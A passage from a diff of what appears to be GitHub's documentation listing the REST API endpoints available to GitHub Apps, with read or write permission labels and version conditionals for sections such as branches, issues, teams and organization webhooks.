+- [`GET /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#get-a-repository-secret) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#create-or-update-a-repository-secret) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /repos/:owner/:repo/actions/secrets/:name`](/rest/reference/actions#delete-a-repository-secret) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/workflows`](/rest/reference/actions#list-repository-workflows) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id`](/rest/reference/actions#get-a-workflow) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (read)
+{% endif -%}
+- [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (read)
+- [`GET /repos/:owner/:repo/check-runs/:check_run_id/annotations`](/rest/reference/checks#list-check-run-annotations) (read)
+- [`GET /repos/:owner/:repo/check-suites/:check_suite_id`](/rest/reference/checks#get-a-check-suite) (read)
+- [`GET /repos/:owner/:repo/check-suites/:check_suite_id/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (read)
+- [`POST /repos/:owner/:repo/check-suites/:check_suite_id/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (write)
+{% ifversion codeowners-errors %}
+- [`GET /repos/:owner/:repo/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) (read)
+{% endif %}
+- [`GET /repos/:owner/:repo/commits`](/rest/reference/commits#list-commits) (read)
+- [`GET /repos/:owner/:repo/commits/:sha`](/rest/reference/commits#get-a-commit) (read)
+- [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (read)
+- [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (read)
+- [`GET /repos/:owner/:repo/community/code_of_conduct`](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/compare/:base...:head`](/rest/reference/commits#compare-two-commits) (read)
+- [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (read)
+- [`POST /repos/:owner/:repo/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) (write)
+- [`POST /repos/:owner/:repo/forks`](/rest/reference/repos#create-a-fork) (read)
+- [`POST /repos/:owner/:repo/merges`](/rest/reference/branches#merge-a-branch) (write)
+- [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (read)
+
+### Branches
+- [`GET /repos/:owner/:repo/branches`](/rest/reference/branches#list-branches) (read)
+- [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/branches#get-a-branch) (read)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (write)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#add-app-access-restrictions) (write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#set-app-access-restrictions) (write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#remove-user-access-restrictions) (write)
+- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (write)
+
+### Commit comments
+- [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (write)
+- [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (write)
+- [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (write)
+- [`POST /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#create-a-commit-comment) (write)
+
+### Git
+- [`POST /repos/:owner/:repo/git/blobs`](/rest/reference/git#create-a-blob) (write)
+- [`GET /repos/:owner/:repo/git/blobs/:sha`](/rest/reference/git#get-a-blob) (read)
+- [`POST /repos/:owner/:repo/git/commits`](/rest/reference/git#create-a-commit) (write)
+- [`GET /repos/:owner/:repo/git/commits/:commit_id`](/rest/reference/git#get-a-commit) (read)
+- [`POST /repos/:owner/:repo/git/refs`](/rest/reference/git#create-a-reference) (write)
+- [`GET /repos/:owner/:repo/git/ref/:ref`](/rest/reference/git#get-a-reference) (read)
+- [`GET /repos/:owner/:repo/git/matching-refs/:ref`](/rest/reference/git#list-matching-references) (read)
+- [`PATCH /repos/:owner/:repo/git/refs/:ref`](/rest/reference/git#update-a-reference) (write)
+- [`DELETE /repos/:owner/:repo/git/refs/:ref`](/rest/reference/git#delete-a-reference) (write)
+- [`POST /repos/:owner/:repo/git/tags`](/rest/reference/git#create-a-tag-object) (write)
+- [`GET /repos/:owner/:repo/git/tags/:tag_id`](/rest/reference/git#get-a-tag) (read)
+- [`POST /repos/:owner/:repo/git/trees`](/rest/reference/git#create-a-tree) (write)
+- [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (read)
+
+{% ifversion fpt or ghec %}
+### Import
+- [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (read)
+- [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (write)
+- [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (write)
+- [`DELETE /repos/:owner/:repo/import`](/rest/reference/migrations#cancel-an-import) (write)
+- [`GET /repos/:owner/:repo/import/authors`](/rest/reference/migrations#get-commit-authors) (read)
+- [`PATCH /repos/:owner/:repo/import/authors/:author_id`](/rest/reference/migrations#map-a-commit-author) (write)
+- [`GET /repos/:owner/:repo/import/large_files`](/rest/reference/migrations#get-large-files) (read)
+- [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (write)
+{% endif %}
+
+### Reactions
+- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write)
+- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write)
+
+### Releases
+- [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (read)
+- [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (write)
+- [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (read)
+- [`PATCH /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#update-a-release) (write)
+- [`DELETE /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#delete-a-release) (write)
+- [`GET /repos/:owner/:repo/releases/:release_id/assets`](/rest/reference/repos/#list-release-assets) (read)
+- [`GET /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#get-a-release-asset) (read)
+- [`PATCH /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#update-a-release-asset) (write)
+- [`DELETE /repos/:owner/:repo/releases/assets/:asset_id`](/rest/reference/repos/#delete-a-release-asset) (write)
+- [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (read)
+- [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (read)
+
+{% ifversion dependabot-alerts-rest-api %}
+## Dependabot alerts
+
+- [`GET /repos/:owner/:repo/dependabot/alerts`](/rest/dependabot/alerts#list-dependabot-alerts-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/dependabot/alerts/:alert_number`](/rest/dependabot/alerts#get-a-dependabot-alert) (read)
+- [`PATCH /repos/:owner/:repo/dependabot/alerts/:alert_number`](/rest/dependabot/alerts#update-a-dependabot-alert) (write)
+{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.3%}
+## Dependabot secrets
+
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (write)
+{% endif %}
+
+## Deployments
+
+- [`GET /repos/:owner/:repo/deployments`](/rest/reference/deployments#list-deployments) (read)
+- [`POST /repos/:owner/:repo/deployments`](/rest/reference/deployments#create-a-deployment) (write)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#get-a-deployment) (read)
+- [`DELETE /repos/:owner/:repo/deployments/:deployment_id`](/rest/reference/deployments#delete-a-deployment) (write)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#list-deployment-statuses) (read)
+- [`POST /repos/:owner/:repo/deployments/:deployment_id/statuses`](/rest/reference/deployments#create-a-deployment-status) (write)
+- [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/deployments#get-a-deployment-status) (read)
+
+{% ifversion fpt or ghes or ghec %}
+## Email addresses
+
+{% ifversion fpt or ghec -%}
+- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (write)
+{% endif -%}
+- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) (read)
+- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) (write)
+- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) (write)
+- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (read)
+{% endif %}
+
+## Followers
+
+- [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (read)
+- [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (read)
+- [`GET /user/following/:username`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) (read)
+- [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (write)
+- [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (write)
+
+## Git SSH keys
+
+- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (read)
+- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (write)
+- [`GET /user/keys/:key_id`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (read)
+- [`DELETE /user/keys/:key_id`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (write)
+
+## GPG keys
+
+- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (read)
+- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (write)
+- [`GET /user/gpg_keys/:gpg_key_id`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) (read)
+- [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (write)
+
+{% ifversion fpt or ghec %}
+## Interaction limits
+
+- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (read)
+- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (write)
+- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (write)
+{% endif %}
+
+## Issues
+
+Issues and pull requests are closely related. For more information, see "[List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)." If your GitHub App has permissions on issues but not on pull requests, these endpoints will be limited to issues. Endpoints that return both issues and pull requests will be filtered. Endpoints that allow operations on both issues and pull requests will be restricted to issues.
+
+- [`GET /repos/:owner/:repo/issues`](/rest/reference/issues#list-repository-issues) (read)
+- [`POST /repos/:owner/:repo/issues`](/rest/reference/issues#create-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#get-an-issue) (read)
+- [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#create-an-issue-comment) (write)
+- [`PUT /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#lock-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#unlock-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (read)
+- [`GET /repos/:owner/:repo/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#get-an-issue-comment) (read)
+- [`PATCH /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#update-an-issue-comment) (write)
+- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#delete-an-issue-comment) (write)
+- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read)
+- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write)
+
+### Assignees
+- [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (read)
+- [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (write)
+
+### Events
+- [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (read)
+- [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (read)
+
+### Labels
+- [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (write)
+- [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels/:name`](/rest/reference/issues#remove-a-label-from-an-issue) (write)
+- [`GET /repos/:owner/:repo/labels`](/rest/reference/issues#list-labels-for-a-repository) (read)
+- [`POST /repos/:owner/:repo/labels`](/rest/reference/issues#create-a-label) (write)
+- [`GET /repos/:owner/:repo/labels/:name`](/rest/reference/issues#get-a-label) (read)
+- [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (write)
+- [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (write)
+
+### Milestones
+- [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (read)
+- [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (write)
+- [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (read)
+- [`PATCH /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#update-a-milestone) (write)
+- [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (write)
+- [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (read)
+
+### Reactions
+- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read)
+- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write)
+- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write)
+- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write)
+
+## Members
+
+{% ifversion fpt or ghec -%}
+- [`GET /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#list-idp-groups-for-a-team) (write)
+{% endif -%}
+{% ifversion fpt or ghec  -%}
+- [`PATCH /organizations/:org_id/team/:team_id/team-sync/group-mappings`](/rest/reference/teams#create-or-update-idp-group-connections) (write)
+{% endif -%}
+- [`GET /orgs/:org/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) (read)
+- [`PUT /orgs/:org/outside_collaborators/:username`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) (write)
+- [`DELETE /orgs/:org/outside_collaborators/:username`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) (write)
+{% ifversion fpt or ghec -%}
+- [`GET /orgs/:org/team-sync/groups`](/rest/teams/team-sync#list-idp-groups-for-an-organization) (write)
+{% endif -%}
+- [`GET /orgs/:org/team/:team_id`](/rest/teams/teams#get-a-team-by-name) (read)
+{% ifversion fpt or ghec -%}
+- [`GET /scim/v2/orgs/:org/Users`](/rest/reference/scim#list-scim-provisioned-identities) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`POST /scim/v2/orgs/:org/Users`](/rest/reference/scim#provision-and-invite-a-scim-user) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#get-scim-provisioning-information-for-a-user) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#set-scim-information-for-a-provisioned-user) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PATCH /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#update-an-attribute-for-a-scim-user) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /scim/v2/orgs/:org/Users/:external_identity_guid`](/rest/reference/scim#delete-a-scim-user-from-an-organization) (write)
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### Invitations
+- [`GET /orgs/:org/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (read)
+- [`POST /orgs/:org/invitations`](/rest/reference/orgs#create-an-organization-invitation) (write)
+- [`GET /orgs/:org/invitations/:invitation_id/teams`](/rest/reference/orgs#list-organization-invitation-teams) (read)
+- [`GET /teams/:team_id/invitations`](/rest/reference/teams#list-pending-team-invitations) (read)
+{% endif %}
+
+### Organization members
+- [`DELETE /orgs/:org/members/:username`](/rest/reference/orgs#remove-an-organization-member) (write)
+- [`GET /orgs/:org/memberships/:username`](/rest/reference/orgs#get-organization-membership-for-a-user) (read)
+- [`PUT /orgs/:org/memberships/:username`](/rest/reference/orgs#set-organization-membership-for-a-user) (write)
+- [`DELETE /orgs/:org/memberships/:username`](/rest/reference/orgs#remove-organization-membership-for-a-user) (write)
+- [`PUT /orgs/:org/public_members/:username`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) (write)
+- [`DELETE /orgs/:org/public_members/:username`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) (write)
+- [`GET /user/memberships/orgs`](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) (read)
+- [`GET /user/memberships/orgs/:org`](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) (read)
+- [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (write)
+
+### Team members
+- [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (read)
+- [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (read)
+- [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (write)
+- [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (write)
+
+### Teams
+- [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (read)
+- [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (write)
+- [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (read)
+- [`PATCH /teams/:team_id`](/rest/reference/teams#update-a-team) (write)
+- [`DELETE /teams/:team_id`](/rest/reference/teams#delete-a-team) (write)
+- [`GET /teams/:team_id/projects`](/rest/reference/teams#list-team-projects) (read)
+- [`GET /teams/:team_id/projects/:project_id`](/rest/reference/teams#check-team-permissions-for-a-project) (read)
+- [`PUT /teams/:team_id/projects/:project_id`](/rest/reference/teams#add-or-update-team-project-permissions) (read)
+- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read)
+- [`GET /teams/:team_id/repos`](/rest/reference/teams#list-team-repositories) (read)
+- [`GET /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#check-team-permissions-for-a-repository) (read)
+- [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (read)
+- [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (write)
+- [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (read)
+
+## Organization administration
+
+- [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (write)
+{% ifversion actions-cache-management -%}
+- [`GET /orgs/:org/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) (read)
+- [`GET /orgs/:org/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`GET /orgs/:org/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-an-organization) (read)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`PUT /orgs/:org/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) (write)
+{% endif -%}
+{% ifversion fpt or ghec -%}
+- [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (write)
+{% endif %}
+
+## Organization events
+
+- [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (read)
+
+{% ifversion ghes %}
+## Organization pre-receive hooks
+
+- [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (read)
+- [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (read)
+- [`PATCH /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization) (write)
+- [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (write)
+{% endif %}
+
+## Organization projects
+
+- [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (write)
+- [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (read)
+- [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (write)
+- [`DELETE /projects/:project_id`](/rest/reference/projects#delete-a-project) (write)
+- [`POST /projects/:project_id/cards`](/rest/reference/projects#create-a-project-card) (write)
+- [`GET /projects/:project_id/columns`](/rest/reference/projects#list-project-columns) (read)
+- [`POST /projects/:project_id/columns`](/rest/reference/projects#create-a-project-column) (write)
+- [`GET /projects/columns/:column_id`](/rest/reference/projects#get-a-project-column) (read)
+- [`PATCH /projects/columns/:column_id`](/rest/reference/projects#update-a-project-column) (write)
+- [`DELETE /projects/columns/:column_id`](/rest/reference/projects#delete-a-project-column) (write)
+- [`GET /projects/columns/:column_id/cards`](/rest/reference/projects#list-project-cards) (read)
+- [`POST /projects/columns/:column_id/cards`](/rest/reference/projects#create-a-project-card) (write)
+- [`POST /projects/columns/:column_id/moves`](/rest/reference/projects#move-a-project-column) (write)
+- [`GET /projects/columns/cards/:card_id`](/rest/reference/projects#get-a-project-card) (read)
+- [`PATCH /projects/columns/cards/:card_id`](/rest/reference/projects#update-a-project-card) (write)
+- [`DELETE /projects/columns/cards/:card_id`](/rest/reference/projects#delete-a-project-card) (write)
+- [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (write)
+
+{% ifversion fpt or ghec %}
+## Organization user blocking
+
+- [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (read)
+- [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (read)
+- [`PUT /orgs/:org/blocks/:username`](/rest/reference/orgs#block-a-user-from-an-organization) (write)
+- [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (write)
+{% endif %}
+
+## Organization webhooks
+
+- [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (read)
+- [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (write)
+- [`GET /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#get-an-organization-webhook) (read)
+- [`PATCH /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#update-an-organization-webhook) (write)
+- [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (write)
+- [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (write)
+
+### Teams
